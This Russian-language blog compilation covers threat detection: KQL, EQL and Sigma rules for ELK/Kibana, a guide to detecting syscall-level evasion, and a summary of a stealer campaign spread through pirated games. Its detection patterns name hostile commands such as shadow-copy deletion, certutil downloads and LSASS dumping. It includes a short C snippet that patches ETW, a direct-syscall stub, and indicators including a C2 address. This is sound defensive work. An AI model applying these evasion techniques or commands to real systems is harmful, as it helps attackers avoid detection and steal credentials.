    "*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR
    "*1131f6ab-9c07-11d1-f79f-00c04fc2dcd2*" OR
    "*89e95b76-444d-4c62-991a-0facbeda640c*"
)
AND NOT winlog.event_data.SubjectUserName: "*quot;

Эти GUIDs — права на репликацию AD: DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set. Их запрашивает только контроллер домена — и Mimikatz DCSync.

🟠 Volume Shadow Copy Deletion (pre-ransomware)

event.code: "1"
AND process.command_line: (
    "*vssadmin*delete shadows*" OR
    "*wmic*shadowcopy*delete*"  OR
    "*wbadmin*delete*catalog*"  OR
    "*bcdedit*/set*recoveryenabled*no*"
)

Появление любой из этих команд — высокая вероятность ransomware или деструктивной активности.

4. EQL — детектирование цепочек событий

EQL (Event Query Language) — самый мощный инструмент для детекта многоэтапных атак. Один сигнал легко отфильтровать, последовательность — нет.

-- Детект: macro → child process → network connection
-- (фишинг через Office-документ)
sequence by host.name with maxspan=2m
  [process where event.type == "start"
   and process.parent.name : ("winword.exe", "excel.exe", "outlook.exe")]
  [process where event.type == "start"
   and process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "mshta.exe")]
  [network where event.type == "start"
   and not cidrmatch(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")]

-- Детект: discovery burst (типичный пост-эксплоит enum)
-- 5+ discovery-команд с одного хоста за 60 секунд
sequence by host.name with maxspan=60s
  [process where process.name : ("whoami.exe", "net.exe", "ipconfig.exe",
                                  "systeminfo.exe", "nltest.exe", "arp.exe")]
  [process where process.name : ("whoami.exe", "net.exe", "ipconfig.exe",
                                  "systeminfo.exe", "nltest.exe", "arp.exe")]
  [process where process.name : ("whoami.exe", "net.exe", "ipconfig.exe",
                                  "systeminfo.exe", "nltest.exe", "arp.exe")]
  [process where process.name : ("whoami.exe", "net.exe", "ipconfig.exe",
                                  "systeminfo.exe", "nltest.exe", "arp.exe")]
  [process where process.name : ("whoami.exe", "net.exe", "ipconfig.exe",
                                  "systeminfo.exe", "nltest.exe", "arp.exe")]

-- Детект: credential dump → lateral movement
-- (дамп lsass → использование полученных кредов)
sequence by host.name with maxspan=10m
  [process where event.type == "start"
   and (process.name : ("procdump*.exe", "nanodump*", "mimikatz*")
        or process.command_line : "*lsass*")]
  [authentication where event.action == "logged-in"
   and winlog.logon.type == "Network"
   and source.ip != "127.0.0.1"]

5. Sigma — переносимые правила

Sigma — YAML-формат для правил детектирования, не привязанный к конкретной SIEM. Пишешь один раз — конвертируешь в KQL, SPL (Splunk), ESQL, SQL.

# sigma_rule_lolbin_certutil_download.yml
title: CertUtil Used to Download File
id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b
status: stable
description: Detects certutil.exe used as a downloader (classic LOLBin pattern)
references:
  - https://attack.mitre.org/techniques/T1105/
tags:
  - attack.command_and_control
  - attack.t1105
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-urlcache'
      - '-verifyctl'
      - '-decode'
  filter_legit:
    CommandLine|contains:
      - 'pkiview'
      - 'certificate'
  condition: selection and not filter_legit
falsepositives:
  - Certificate management by admins
level: high

Конвертация в KQL через sigma-cli:

pip install sigma-cli
pip install pysigma-backend-elasticsearch

# Конвертация в KQL (Kibana)
sigma convert -t kibana -p ecs_windows sigma_rule_lolbin_certutil_download.yml

# Конвертация в ES|QL (Elasticsearch Query Language — новый синтаксис)
sigma convert -t esql -p ecs_windows sigma_rule_lolbin_certutil_download.yml

# Конвертация для Splunk
sigma convert -t splunk -p splunk_windows sigma_rule_lolbin_certutil_download.yml

Источники готовых Sigma-правил:

SigmaHQ/sigma — официальный репозиторий (~3000+ правил)
elastic/detection-rules — Elastic-специфичные, с TOML-форматом
splunk/security_content — Splunk Security Essentials

6. Анализ временных меток и построение таймлайна

Временная шкала — основа любого IR. Несколько критических нюансов:

Проблема временных зон

# Elasticsearch хранит время в UTC. 
# Хосты могут быть в разных TZ.
# Ключевое правило: нормализуй ВСЁ в UTC при инgestе.

# Пример Logstash: принудительная конвертация
filter {
  date {
    match => ["[winlog][time_created]", "ISO8601"]
    target => "@timestamp"
    timezone => "UTC"  # всегда явно
  }
}

Forensic trap: на Windows @timestamp в EventLog — время записи в журнал, не время события. Разница может быть значительной при оффлайн-анализе снятых логов.

KQL для временного анализа

-- Активность в нерабочее время (ночью / выходные)
event.code: "4624"
AND NOT (
    @timestamp >= "now/d+8h" AND @timestamp <= "now/d+18h"
)
AND NOT winlog.event_data.SubjectUserName: ("*quot; OR "SYSTEM")

-- Burst: много событий аутентификации за короткий период
-- (brute force или credential stuffing)
-- Реализуется через Kibana Threshold Rule:
-- Group by: winlog.event_data.TargetUserName
-- Threshold: count > 20 over 5 minutes
-- Query:
event.code: "4625"

Построение таймлайна в Kibana

Kibana Timeline (SIEM → Timelines) позволяет:

Создать временную шкалу инцидента
Прикрепить события из разных индексов (Windows, Linux, Network)
Добавить аннотации и notes для каждого события
Экспортировать в CSV/JSON для отчёта

Workflow для IR:
1. Определить T0 (момент первоначального компрометации)
2. Kibana: поиск по host.name + временной диапазон ±24h от T0
3. Добавить в Timeline все подозрительные события
4. Расширить диапазон: искать предшествующую активность (recon)
5. Искать lateral movement по source.ip / destination.ip
6. Построить граф: host → host через сетевые события

7. Анализ сетевых логов

Zeek (Bro) — структурированные сетевые логи

# Zeek пишет отдельные лог-файлы по типам:
# conn.log    — все TCP/UDP соединения
# dns.log     — DNS запросы/ответы
# http.log    — HTTP (URL, user-agent, статус)
# ssl.log     — TLS metadata (JA3, SNI, cert)
# files.log   — переданные файлы с хэшами
# notice.log  — алерты встроенных скриптов

# Импорт в Elasticsearch через Filebeat zeek module:
filebeat modules enable zeek

Полезные KQL-запросы по Zeek:

-- Аномальный user-agent (C2 или staged download)
zeek.http.user_agent: (
    "python-requests*" OR "Go-http-client*" OR
    "curl*"            OR "wget*"           OR
    "nmap*"            OR "masscan*"
)
AND NOT source.ip: ("10.0.0.0/8" OR "172.16.0.0/12")

-- Beaconing: регулярные соединения к одному IP
-- (реализуется через ML job или threshold rule)
-- Признак: одинаковые интервалы, маленький payload, long duration=0

zeek.conn.conn_state: "SF"
AND zeek.conn.duration < 1
AND zeek.conn.orig_bytes < 512
AND destination.port: (80 OR 443 OR 8080 OR 8443)

-- JA3 fingerprint известных инструментов
-- (Metasploit, Cobalt Strike, etc.)
zeek.ssl.ja3: (
    "a0e9f5d64349fb13191bc781f81f42e1" OR  -- Cobalt Strike default
    "72a7c13d8cc8eea6d15d72d7e1d8b02d"     -- Metasploit
)

JA3 — хэш TLS ClientHello параметров. Не зависит от IP/домена — позволяет детектировать инструмент атаки даже при смене C2-инфраструктуры.

8. Практические инструменты для аналитика

Инструмент Назначение Когда использовать Kibana SIEM централизованный детект + timeline основная рабочая среда Kibana Lens ad-hoc визуализация данных быстрый анализ распределений Elastic ML anomaly detection поведенческие аномалии baseline jq CLI-парсинг JSON-логов быстрый анализ без ES Hayabusa offline EVTX → timeline/CSV форензика без SIEM Chainsaw EVTX regex hunt поиск по IoC в .evtx Plaso/log2timeline super-timeline из артефактов полноценный forensic timeline Velociraptor live response + hunt IR на endpoints Sigma2KQL конвертация правил перенос Sigma-правил в Kibana

Hayabusa — быстрый анализ EVTX без SIEM

# Поднять таймлайн из папки с EVTX
.\hayabusa.exe csv-timeline -d C:\Cases\Logs\EVTX\ -o timeline.csv

# Отфильтровать только критические события
.\hayabusa.exe csv-timeline -d .\EVTX\ -m critical -o critical.csv

# Статистика по правилам (что сработало чаще всего)
.\hayabusa.exe logon-summary -d .\EVTX\

# Экспорт в JSONL для импорта в Elastic
.\hayabusa.exe json-timeline -d .\EVTX\ -o timeline.jsonl

jq — быстрый разбор JSON без ES

# Из SilkETW JSON: найти все NtAllocateVirtualMemory события
cat etwti.json | jq '.[] | select(.EventName == "ALLOCVM_REMOTE") | 
  {pid: .ProcessId, target: .TargetProcessId, size: .RegionSize}'

# Из Zeek conn.log: топ-10 destination IP по количеству соединений
cat conn.log | zeek-cut id.resp_h | sort | uniq -c | sort -rn | head -10

# Из Sysmon JSONL: все процессы с сетевыми соединениями
cat sysmon.jsonl | jq 'select(.EventID == 3) | 
  {proc: .Image, dst: .DestinationIp, port: .DestinationPort}'

9. Матрица: MITRE ATT&CK → лог-источник → запрос

10. Заключение

Главный принцип: одиночный сигнал — это шум. Цепочка сигналов с одного хоста за короткий промежуток — это инцидент.

Красные флаги для немедленного расследования:

CRITICAL:
  • Office-процесс породил cmd/powershell/wscript
  • LSASS.exe открыт с GrantedAccess 0x1010 или 0x143a
  • vssadmin.exe с параметром delete shadows
  • schtasks.exe /create от непривилегированного пользователя
  • Новый сервис (EID 7045) с путём в %TEMP%
  • DCSync: Security EID 4662 с replication GUIDs

HIGH:
  • PowerShell ScriptBlock с IEX/FromBase64String/AMSI bypass
  • NTLM LogonType 3 с пустым WorkstationName
  • WMI Event Subscription создана не известным sofware
  • Загрузка unsigned DLL из %APPDATA% / %TEMP%
  • JA3-хэш, совпадающий с известным C2-фреймворком
  • DNS-запросы с DGA-паттерном (высокая энтропия имён)

Win32 API → NTAPI → Syscall: детектирование через EDR и ELK/Kibana

2026-03-10T07:59:08.540Z

1. Архитектура вызовов

Прежде чем детектировать — необходимо понимать, что именно происходит в цепочке вызовов. Каждый уровень стека является потенциальной точкой как для атаки, так и для детектирования.

Приложение (user-space)
    │
    │   CreateFile(), VirtualAlloc(), OpenProcess()...
    ▼
kernel32.dll / kernelbase.dll          ← [1] EDR User-space Hook (DLL Injection)
    │
    │   Высокоуровневые обёртки → вызов NTAPI
    ▼
ntdll.dll                              ← [2] ETW / API Monitoring
    │                                      [3] Direct Syscall Detection
    │   NtCreateFile()
    │   NtAllocateVirtualMemory()
    │   NtWriteVirtualMemory()
    │   NtCreateThreadEx()
    │
    │   syscall stub:
    │     mov r10, rcx
    │     mov eax, <SSN>    ← Syscall Service Number
    │     syscall           ← переход в ring 0
    ▼
ntoskrnl.exe (kernel)                  ← [4] SSDT (Service Descriptor Table)
    │                                      [5] Kernel Callbacks
    │   SSDT[SSN] → NtCreateFile
    │             → IopCreateFile
    │             → IoCreateFile...
    ▼
Драйвер / ФС / Устройство              ← [6] Minifilter Driver

Что такое SSN (Syscall Service Number)

SSN — числовой индекс в таблице SSDT, соответствующий конкретной ядерной функции.
Значения зависят от версии и сборки Windows и не являются стабильными между релизами:

Функция Win10 21H2 Win11 22H2 Win11 23H2 NtAllocateVirtualMemory 0x18 0x18 0x18 NtWriteVirtualMemory 0x3A 0x3A 0x3A NtCreateThreadEx 0xC1 0xC2 0xC3 NtOpenProcess 0x26 0x26 0x26

Важно для аналитика: техники Hell's Gate / Halo's Gate / Tartarus' Gate динамически определяют SSN во время выполнения — именно потому что эти числа нестабильны.

2. SSDT

Что такое SSDT

System Service Descriptor Table — структура ядра Windows, содержащая массив указателей на функции-обработчики системных вызовов. Расположена в ntoskrnl.exe.

// Упрощённое определение
typedef struct _SYSTEM_SERVICE_TABLE {
    PULONG_PTR ServiceTableBase;      // массив адресов функций
    PULONG     ServiceCounterTableBase;
    ULONG      NumberOfServices;      // ~450 функций в современных Windows
    PUCHAR     ParamTableBase;
} SYSTEM_SERVICE_TABLE;

SYSTEM_SERVICE_TABLE KeServiceDescriptorTable[2]; // 0=ядро, 1=Win32k (GUI)

Почему SSDT нельзя мониторить напрямую из user-space

SSDT живёт в kernel-памяти — прямой доступ из ring 3 невозможен
KPP (Kernel Patch Protection / PatchGuard) — начиная с x64 Windows, модификация SSDT детектируется и вызывает BSOD с кодом 0x109 CRITICAL_STRUCTURE_CORRUPTION
Антируткит-инструменты (GMER, Kernel Detective) могут читать SSDT через driver — но это не масштабируемое EDR-решение

Что реально делают EDR

Вместо прямого мониторинга SSDT, Enterprise EDR-решения (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) используют ETW Threat Intelligence и Kernel Callbacks — легальные Microsoft-approved механизмы, которые дают телеметрию на уровне, максимально близком к SSDT.

3. Точки перехвата

┌─────────────────────────────────────────────────────────────────┐
│  Уровень          │  Механизм              │  EDR/Tool          │
├─────────────────────────────────────────────────────────────────┤
│  User-space       │  IAT/EAT Hooking       │  EDR DLL inject    │
│  (ring 3)         │  (kernel32/ntdll)      │  (legacy подход)   │
├─────────────────────────────────────────────────────────────────┤
│  Syscall boundary │  ETW Threat Intel      │  ETWTI provider    │
│  (ring 3→0)       │  Direct Syscall det.   │  SilkETW           │
├─────────────────────────────────────────────────────────────────┤
│  Kernel           │  Kernel Callbacks      │  EDR driver        │
│  (ring 0)         │  Minifilter Driver     │  CrowdStrike / S1  │
│                   │  ObRegisterCallbacks   │                    │
└─────────────────────────────────────────────────────────────────┘

4. ETW — основной механизм телеметрии

Event Tracing for Windows (ETW) — ключевой легальный механизм получения syscall-телеметрии без патчинга SSDT.

Ключевые провайдеры

Provider GUID Покрытие Microsoft-Windows-Kernel-Process 22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716 CreateProcess, CreateThread, LoadImage Microsoft-Windows-Kernel-File EDD08927-9CC4-4E65-B970-C2560FB5C289 NtCreateFile, NtWriteFile, NtReadFile Microsoft-Windows-Kernel-Registry 70EB4F03-C1DE-4F73-A051-33D13D5413BD Все Registry-операции Microsoft-Windows-Kernel-Network 7DD42A49-5329-4832-8DFD-43D979153A88 TCP/UDP события Microsoft-Windows-Threat-Intelligence F4E1897C-BB5D-5668-F1D8-040F4D8DD344 ETWTI — критически важен

ETWTI (ETW Threat Intelligence) — приоритет №1

ETWTI работает на уровне ядра и значительно сложнее обойти, чем user-space хуки:

Покрываемые API:
  NtAllocateVirtualMemory   → детект shellcode allocation
  NtProtectVirtualMemory    → детект RW→RX смены прав
  NtWriteVirtualMemory      → детект process injection
  NtCreateThreadEx          → детект remote thread
  NtMapViewOfSection        → детект mapping injection
  NtQueueApcThread          → детект APC injection
  LdrLoadDll                → детект рефлективной загрузки DLL

Как малварь пытается обойти ETW

// Патч EtwEventWrite в ntdll.dll (user-space ETW патч)
// Малварь ищет функцию и пишет ret в начало:

FARPROC pEtwEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
BYTE patch[] = { 0xC3 };  // ret
WriteProcessMemory(GetCurrentProcess(), pEtwEventWrite, patch, 1, NULL);

Детект: само по себе изменение байт EtwEventWrite в ntdll — детект-сигнал.
ETWTI работает из ядра → патч user-space ntdll его не отключает.

5. Kernel Callbacks

EDR-драйвер регистрирует callbacks через официальный kernel API:

// ── Process Monitoring ────────────────────────────────────────
PsSetCreateProcessNotifyRoutineEx(
    CallbackRoutine,
    FALSE   // регистрация
);
// → срабатывает при каждом CreateProcess / ExitProcess
// → даёт: PEPROCESS, parent PID, image path, commandline

// ── Thread Monitoring ─────────────────────────────────────────
PsSetCreateThreadNotifyRoutine(CallbackRoutine);
// → каждый CreateThread / CreateRemoteThread
// → КРИТИЧНО: remote thread в чужой процесс → IOC

// ── Image Load Monitoring ─────────────────────────────────────
PsSetLoadImageNotifyRoutine(CallbackRoutine);
// → каждая загрузка DLL/драйвера
// → детект: reflective injection, unsigned DLL, загрузка из temp

// ── Registry Monitoring ───────────────────────────────────────
CmRegisterCallback(CallbackRoutine, NULL, &Cookie);
// → все операции с реестром: Run ключи, Services, IFEO...

// ── Handle Operations ─────────────────────────────────────────
ObRegisterCallbacks(&CallbackRegistration, &RegistrationHandle);
// → OpenProcess / OpenThread с конкретными правами доступа
// → КЛЮЧЕВОЙ детект: OpenProcess(LSASS, PROCESS_VM_READ) → Mimikatz

GrantedAccess маски для OpenProcess — что искать

0x1010  →  PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION   (чтение памяти)
0x1410  →  + PROCESS_VM_OPERATION                                (запись)
0x143A  →  почти все права                                       (дамп)
0x1FFFFF → PROCESS_ALL_ACCESS                                    (полный доступ)
0x0410  →  стандартный Mimikatz-набор прав

6. Direct Syscall и Syscall Spoofing

Это наиболее актуальная техника обхода в 2024–2025. Понимание этого механизма критично для SOC-аналитика.

Почему малварь переходит на Direct Syscall

EDR-хуки в ntdll работают по принципу: EDR инжектирует свою DLL в каждый процесс и перехватывает вызовы в ntdll. Если малварь вызывает syscall, минуя ntdll — хук не срабатывает.

; ── Нормальный путь через ntdll ──────────────────────────────────
; ntdll!NtAllocateVirtualMemory:
    mov r10, rcx          ; сохранение rcx для syscall
    mov eax, 0x18         ; SSN
    syscall               ; переход в ring 0
    ret

; ── Direct Syscall (малварь в своём .text) ───────────────────────
; malware.exe+0x5678:
    mov r10, rcx          ; те же инструкции
    mov eax, 0x18         ; тот же SSN
    syscall               ; НО: выполняется из адреса малвари!
    ret

Syscall Spoofing / Stomping

Более продвинутая техника: SSN берётся из ntdll, но ret address подменяется:

Техника "Egg Hunting" / "Synthetic Frames":
1. Малварь находит syscall stub в ntdll (легитимный адрес)
2. Подменяет return address на стеке → stack walk показывает ntdll
3. Фактически: syscall выполняется из кода малвари, но стек "чистый"

Как детектировать Direct Syscall

Метод 1 — Аномальный call stack

── НОРМАЛЬНЫЙ СТЕК ─────────────────────────────────────────────
ntdll!NtAllocateVirtualMemory + 0x14
kernelbase!VirtualAllocEx + 0x5F
malware.exe + 0x1A3C

── ПОДОЗРИТЕЛЬНЫЙ (Direct Syscall) ────────────────────────────
ntdll!NtAllocateVirtualMemory + 0x14
malware.exe + 0x5678          ← нет kernelbase! в стеке
                               ← или: syscall из non-ntdll региона

Метод 2 — Адрес инструкции syscall вне диапазона ntdll

# Псевдологика детекта (реализуется в EDR-драйвере):
ntdll_base = get_module_base("ntdll.dll")
ntdll_end  = ntdll_base + get_module_size("ntdll.dll")

if syscall_instruction_address < ntdll_base or \
   syscall_instruction_address > ntdll_end:
    ALERT("Direct Syscall detected outside ntdll!")
    log(process_name, pid, syscall_address, ssn)

Метод 3 — Memory region без backing file

Если syscall выполняется из региона памяти, у которого:
  - Type: MEM_PRIVATE (не MEM_IMAGE)
  - State: MEM_COMMIT
  - Protect: PAGE_EXECUTE_READ или PAGE_EXECUTE_READWRITE
  - MappedFile: None (нет backing PE-файла)

→ Это shellcode или reflective DLL → HIGH CONFIDENCE IOB

7. ELK / Kibana — конкретные запросы и правила

Источники данных

Sysmon v14+       → Winlogbeat  → Elasticsearch → Kibana SIEM
ETW (SilkETW)     → Filebeat    → Logstash      → Kibana
EDR Telemetry     → Logstash    → ES            → Kibana
Windows EventLog  → Winlogbeat  → ES            → Kibana

Sysmon — критические Event ID

EID Событие Применение 1 Process Create commandline, hashes, parent 7 Image Loaded DLL из temp/appdata, unsigned 8 CreateRemoteThread remote thread injection 10 ProcessAccess OpenProcess + GrantedAccess 17/18 Pipe Created/Connected lateral movement, C2 25 Process Tampering hollowing, herpaderping

KQL — запросы для Kibana SIEM

🔴 LSASS Access (Credential Dumping)

event.code: "10"
AND winlog.event_data.TargetImage: "*\\lsass.exe"
AND winlog.event_data.GrantedAccess: (
    "0x1010" OR "0x1410" OR "0x143a" OR
    "0x1fffff" OR "0x0410" OR "0x1438"
)
AND NOT winlog.event_data.SourceImage: (
    "C:\\Windows\\System32\\svchost.exe" OR
    "C:\\Windows\\System32\\werfault.exe" OR
    "C:\\Windows\\System32\\taskmgr.exe" OR
    "C:\\Program Files\\*\\MsMpEng.exe"
)

Детектирует: Mimikatz, ProcDump, Nanodump, lsassy

🔴 Process Injection — Remote Thread

event.code: "8"
AND winlog.event_data.TargetImage: (
    "*\\explorer.exe" OR "*\\svchost.exe" OR
    "*\\lsass.exe"   OR "*\\winlogon.exe" OR
    "*\\spoolsv.exe"
)
AND NOT winlog.event_data.SourceImage: (
    "C:\\Windows\\System32\\*" OR
    "C:\\Windows\\SysWOW64\\*" OR
    "C:\\Program Files\\*"
)

🔴 Подозрительная загрузка DLL (Unsigned / Temp)

event.code: "7"
AND winlog.event_data.Signed: "false"
AND winlog.event_data.ImageLoaded: (
    "*\\AppData\\*"   OR
    "*\\Temp\\*"      OR
    "*\\ProgramData\\*" OR
    "*\\Users\\Public\\*"
)
AND NOT winlog.event_data.Image: (
    "C:\\Windows\\System32\\*" OR
    "C:\\Windows\\SysWOW64\\*"
)

🔴 RW→RX смена прав памяти (Shellcode Pattern)

event.provider: "Microsoft-Windows-Threat-Intelligence"
AND winlog.event_data.NewAccessProtection: (
    "PAGE_EXECUTE_READWRITE" OR
    "PAGE_EXECUTE_WRITECOPY" OR
    "0x40" OR "0x80"
)
AND winlog.event_data.OldAccessProtection: (
    "PAGE_READWRITE" OR "0x04"
)

Детектирует: классический shellcode loader (malloc RW → copy → VirtualProtect RX → exec)

🟠 Direct Syscall — отсутствие ntdll в стеке

event.provider: "Microsoft-Windows-Threat-Intelligence"
AND winlog.event_data.CallingProcessId: *
AND NOT winlog.event_data.CallStack: "*ntdll*"
AND winlog.event_data.Type: (
    "ALLOCVM_REMOTE" OR "PROTECTVM_REMOTE" OR
    "WRITEVM_REMOTE" OR "CREATETHREAD_REMOTE"
)

🟠 ETW Patch Detection (EtwEventWrite stomping)

event.code: "7"
AND winlog.event_data.ImageLoaded: "*\\ntdll.dll"
AND winlog.event_data.ProcessId: *

В связке с:

event.provider: "Microsoft-Windows-Threat-Intelligence"
AND winlog.event_data.ThreatName: "EtwEventWritePatch"

🟠 Heaven's Gate (WoW64 32→64 переход)

event.provider: "Microsoft-Windows-Threat-Intelligence"
AND winlog.event_data.CallerProcessIsWow64: "true"
AND winlog.event_data.TargetProcessIsWow64: "false"
AND winlog.event_data.Type: "CREATETHREAD_REMOTE"

🟡 Scheduled Task Persistence (SSDT-смежный)

event.code: "1"
AND winlog.event_data.Image: "*\\schtasks.exe"
AND winlog.event_data.CommandLine: (
    "*/create*" AND
    ("*/sc onlogon*" OR "*/sc onstart*" OR "*/sc minute*")
)
AND NOT winlog.event_data.User: "NT AUTHORITY\\SYSTEM"

Elastic Detection Rules (готовые к импорту)

В официальном репозитории elastic/detection-rules доступны правила, напрямую покрывающие SSDT-смежные техники:

windows/defense_evasion_direct_syscall_ntdll.toml
windows/credential_access_lsass_memory_access.toml
windows/defense_evasion_process_injection_via_createremotethread.toml
windows/defense_evasion_suspicious_process_creation_calltrace.toml
windows/defense_evasion_etw_provider_patched.toml

Импорт в Kibana SIEM:
Stack Management → Rules → Import rule

8. Практический стек детектирования

┌─────────────────────────────────────────────────────────────────────┐
│                    PRODUCTION DETECTION STACK                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  [Kernel Layer]                                                     │
│   ETW Threat Intelligence Provider (F4E1897C...)                   │
│   + PsSetCreateProcessNotifyRoutineEx                              │
│   + ObRegisterCallbacks (OpenProcess/OpenThread)                   │
│   + Minifilter (filesystem events)                                 │
│                        │                                           │
│  [Collection Layer]    ▼                                           │
│   SilkETW / SealighterTI → JSON (ETW → структурированные события) │
│   Sysmon v14+            → XML (process/file/network/registry)    │
│                        │                                           │
│  [Transport Layer]     ▼                                           │
│   Winlogbeat / Filebeat → Logstash (enrich, normalize, GeoIP)     │
│                        │                                           │
│  [Storage Layer]       ▼                                           │
│   Elasticsearch (горячий: 30 дней, тёплый: 90 дней)               │
│                        │                                           │
│  [Detection Layer]     ▼                                           │
│   Kibana SIEM Rules    → статические правила (KQL/EQL)            │
│   ML Anomaly Jobs      → поведенческие аномалии (CPU, inject rate)│
│                        │                                           │
│  [Response Layer]      ▼                                           │
│   Alert → SOAR (TheHive / Cortex) → автоматическая изоляция       │
└─────────────────────────────────────────────────────────────────────┘

SilkETW — быстрый старт

# Мониторинг ETW Threat Intelligence провайдера
SilkETW.exe -t user `
    -pn Microsoft-Windows-Threat-Intelligence `
    -ot file `
    -p C:\Logs\etwti.json

# Затем Filebeat читает C:\Logs\etwti.json → Elasticsearch

EQL (Event Query Language) — Kibana sequence detection

EQL позволяет детектировать цепочки событий, что критично для обнаружения многоэтапных техник:

-- Детект: alloc → write → protect → exec (классический shellcode loader)
sequence by process.entity_id with maxspan=30s
  [process where event.type == "start"]
  [api where process.Etwti.type == "ALLOCVM_REMOTE"]
  [api where process.Etwti.type == "WRITEVM_REMOTE"]
  [api where process.Etwti.type == "PROTECTVM_REMOTE"
        and process.Etwti.NewProtection == "PAGE_EXECUTE_READ"]
  [api where process.Etwti.type == "CREATETHREAD_REMOTE"]

9. Матрица угроз и обходов

Техника атаки Что обходит Детект-механизм Сигнал Direct Syscall ntdll user-space хуки ETWTI call stack analysis syscall не из ntdll диапазона Hell's Gate hardcoded SSN Sysmon EID 11 (чтение ntdll с диска) чтение PE-заголовка ntdll Halo's Gate патченные стабы memory scan ntdll integrity изменённые байты в ntdll Tartarus' Gate оба выше ETWTI комбо сигналов Syscall Spoofing call stack analysis ETWTI synthetic frame det. несоответствие ret address Heaven's Gate WoW64 хуки ETWTI WoW64 monitoring 32→64 thread creation ETW Patch ETW телеметрию kernel ETW integrity check патч EtwEventWrite SSDT Hook (руткит) всё PatchGuard / расхождение адресов BSOD или driver alert Process Hollowing process name whitelist Sysmon EID 25 section replace Process Doppelgänging file-based детект ETWTI + section mapping транзакционный файл

10. Заключение

Главный вывод

SSDT нельзя мониторить напрямую из user-space. Но это и не нужно — правильный стек детектирования строится на:

ETWTI — ближайший к SSDT легальный источник телеметрии, работает из ядра
Kernel Callbacks — покрывают process/thread/image/registry/handle события
Sysmon — структурированная телеметрия для ELK без написания драйвера
Поведенческие цепочки (EQL) — важнее отдельных сигнатур

Красные флаги для немедленного расследования

CRITICAL:
  • syscall-инструкция выполняется вне диапазона ntdll.dll
  • OpenProcess(lsass.exe) с GrantedAccess 0x1010/0x143a
  • CreateRemoteThread в системный процесс из non-system source
  • EtwEventWrite patch в ntdll любого процесса

HIGH:
  • RW→RX смена прав в приватном (не MEM_IMAGE) регионе
  • Unsigned DLL загружена из %TEMP% / %APPDATA%
  • Отсутствие ntdll в call stack при системном вызове
  • Heaven's Gate: CreateThread WoW64→x64 cross-arch

Инструменты для лаборатории

Инструмент Назначение SilkETW ETW collection → JSON SealighterTI ETWTI специфично, usermode WinApiOverride user-space API мониторинг API Monitor перехват вызовов с параметрами WinDbg + tt time-travel debugging syscall chain Process Monitor быстрый file/registry/network мониторинг pe-sieve + hollows_hunter детект hollowing/doppelgänging в памяти

RenEngine Loader + HijackLoader: многоступенчатая stealer-кампания через пиратские AAA-игры

2026-02-09T09:57:02.858Z

1. Executive Technical Summary

Howler Cell Threat Research Team выявила длительную, масштабную и технически зрелую stealer-операцию, активную как минимум с апреля 2025 года и продолжающуюся на текущий момент. Кампания использует:

новый ранее не описанный загрузчик RenEngine Loader
модифицированный вариант HijackLoader
финальный полезный груз — ACR Stealer (в других цепочках также Rhadamanthys, AsyncRAT, XWorm)

Ключевая особенность — злоупотребление легитимным игровым движком Ren’Py для скрытой доставки первого этапа вредоносной цепочки внутри «рабочих» пиратских игр.

Масштаб

~400 000 зафиксированных обращений к встроенной телеметрии
~5 000 новых жертв в день
активность устойчива с Oct 14, 2025 (добавление telemetry logic)
основные страны: India, USA, Brazil, Russia, Egypt, Turkey, Spain, Indonesia, Pakistan, France

2. Initial Access: доверие вместо эксплуатации

Вектор

Жертвы скачивают:

cracked installers
game mods

с пиратских площадок, включая:

hxxps://dodi-repacks[.]site
go[.]zovo[.]ink → MediaFire

Заражённые тайтлы:

Far Cry
Need for Speed
FIFA
Assassin’s Creed

Атака основана не на уязвимостях, а на:

доверии внутри piracy-сообществ
низкой осведомлённости пользователей
отсутствии строгого endpoint-контроля

3. Stage 1 — RenEngine Loader

3.1 Злоупотребление Ren’Py

Instaler.exe — легитимный Ren’Py launcher, внутри которого:

используется archive.rpa
удалены все .rpy
оставлены только .rpyc (скомпилированные скрипты)

Обычные архиваторы не извлекают RPA, что:

снижает статическую видимость
переносит логику в память

Исполняется script.rpyc → это и есть RenEngine Loader.

3.2 Конфигурация загрузчика

Loader читает .key файл → Base64 decode → JSON:

3.3 Обфускация и staging

JSON → поиск XOR-архива
XOR-дешифрование
извлечение payload
запуск W8CPbGQI.exe

Используются:

Base64
XOR
RPA-упаковка

4. Sandbox Scoring System

RenEngine применяет балльную модель детекции VM.

Проверки через PowerShell:

Также:

registry keys VirtualBox
SYSTEM32 VM drivers
процессы VM tools
usernames (sandbox, vagrant)

<50% → выполнение
≥50% → тихий выход

Это усложняет:

sandbox detonation
automated analysis

5. Stage 2 — HijackLoader Variant

W8CPbGQI.exe (подписанный) → sideload:

d3dx9_43.dll → VSDebugScriptAgent170.dll → stomp evr.dll

5.1 Конфигурация HijackLoader

Файл: Froodjurain.wkk

Magic: C6 A5 79 EA
XOR key: DB CD 7B C6
IDAT header
RtlDecompressBuffer (LZNT1)

5.2 Модульная архитектура (38 модулей)

Новые VM-детекторы:

Другие возможности:

Process hollowing
Process doppelgänging
Heaven’s Gate
UAC bypass
Defender tampering
Reverse shell
Scheduled task persistence

6. Persistence & Injection Flow

Создаётся:

%ProgramData%\broker_crypt_v4_i386
%AppData%\Roaming\broker_crypt_v4_i386

Копируются:

d3dx9_43.dll
VSDebugScriptAgent170.dll
Froodjurain.wkk
Taig.gr

Создаётся:

chime.exe
ZoneInd.exe

Финал:
→ Process Doppelgänging
→ инжект в rasapi32.dll

7. Final Payload — ACR Stealer

C2:

78.40.193.126
Campaign ID: 08de3605-f8ce-46fa-874f-3adf0bd308ba
Build: Dec 7 2025

Кража:

browser creds
cookies
crypto wallets
clipboard
autofill
system info

8. Telemetry & Victim Tracking

14 Oct 2025 → добавлен tracking:

GET request + pub=t11_asm

400k telemetry hits
~5k/day growth
глобальное распространение

9. MITRE ATT&CK Mapping

10. IoCs

SHA256 ZIP:
9e3b296339e25b1bae1f9d028a17f030dcf2ab25ad46221b37731ea4fdfde057

